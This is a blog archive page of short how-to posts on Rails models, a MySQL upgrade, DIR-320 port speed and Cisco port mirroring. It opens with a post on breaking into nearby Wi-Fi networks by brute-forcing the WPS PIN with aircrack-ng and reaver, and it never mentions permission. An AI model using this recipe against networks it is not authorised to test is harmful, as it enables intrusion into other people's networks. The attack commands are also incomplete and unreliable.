Tag Archives: howto

Howto hack WPS in wi-fi networks

Install reaver from here

Install air crack tools here

Or install it from standard repo, in ubuntu like

apt-get install aircrack-ng

for the next type
iwconfig

find your wireless interface, in ubuntu like wlan0.
ifconfig wlan0 up

Next command airmon-ng start wlan0. It will make new interface mon0 for monitor mode.

airodump-ng -i mon0
View all around wifi networks and choose one to hack. Remember channel and mac address.
CTRL+C

./reaver -b -c -vv

Then wait for program will find needed wpa key with pin.
It will be bruted not longer than 20 hours.

Rails: model conception

You should create new model for each table:
rails generate model Tank

it'll create migration Tanks, you should open db/migrate/${date}_create_tanks.rb

and put there definition of table

After you should open modelĀ  app/models/tank.rb

and put there tables relations.

After creating models you should use RAILS_ENV=development rake db:migrate for creating database with tables and relations between the last one

MySQL: upgrade from 5.0 to 5.1

1) stop all applications which works with mysql
2) make mysqldump(with right options like --single-transaction and --master-data)
3) make logs flush; in mysql
4) stop mysql
5) backup /var/lib/mysql folder (it's default path to mysql folder)
6) install new version of mysql (in ubuntu: aptitude install mysql-server-5.1
7) execute mysql_upgrade command in console
8) start mysql

dir-320 dd-wrt link speed

Standard in the firmware dd-wrt is a function of changes in link speed (10/100 mb/s) that shit is not working!
Because with this had to search a suitable solution is found:

robocfg

The only utility audit port for dir-320, which fully works. It is possible to disable / enable the ports individually, translate the port in different modes (none | disable | block | listen | learn | forward), tagging, and velocity of the interface. Similar utilities such as ethtool and mII-tooles fail (stupidly did not work).

simple usage

./robocfg port 3 media 10FD

thats make port 3 to 10 mbs. how its so easy. I'm using it because my cabble in not good.

cisco howto monitoring

For monitoring port 2 on 3 do:

Switch (config)# monitor session 1 source interface fa0/2
Switch (config)# monitor session 1 destination interface fa0/3
Switch (config)# interface fa0/3
Switch (config)# shutdown
Switch (config)# no shutdown

For monitoring vlan33 on port 3 do:

Switch (config)# monitor session 1 source vlan 33
Switch (config)# monitor session 1 destination interface fa0/3
Switch (config)# interface fa0/3
Switch (config)# shutdown
Switch (config)# no shutdown

Port 3 will be switch to monitor mode.